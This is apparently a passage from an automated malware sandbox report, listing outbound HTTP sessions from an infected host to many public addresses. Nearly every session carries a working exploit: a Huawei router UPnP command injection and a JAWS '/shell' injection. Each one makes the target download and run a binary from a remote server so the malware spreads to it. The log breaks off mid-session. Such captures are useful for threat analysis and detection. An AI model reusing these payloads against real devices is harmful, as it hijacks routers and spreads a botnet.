77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.14	50276	197.76.254.99	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.885608912 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.14	57900	197.84.254.99	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.886460066 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.14	39220	76.232.178.92	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.887413979 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.14	43396	136.219.76.182	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.888866901 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.14	49814	179.221.209.219	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.889599085 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.14	54954	131.156.38.106	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.890372992 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.14	45036	163.129.240.99	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.891154051 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.14	54104	141.182.88.11	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.892244101 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.14	37134	41.159.121.25	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.912977934 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.14	46272	87.197.76.211	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.944680929 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.14	39368	197.106.26.143	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.944842100 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.14	36676	76.233.57.173	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.976701975 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.14	44918	156.49.31.7	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:12.976867914 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.14	51160	156.152.71.59	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:13.008884907 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.14	53512	156.160.223.165	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:13.010251999 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.14	35148	156.80.33.71	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:13.011271000 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.14	50408	13.192.143.77	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:13.040939093 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.14	54188	156.95.186.74	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:13.072756052 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.14	43232	120.68.33.190	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:13.072870970 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.14	47558	156.135.171.102	37215

Timestamp	Bytes transferred	Direction	Data
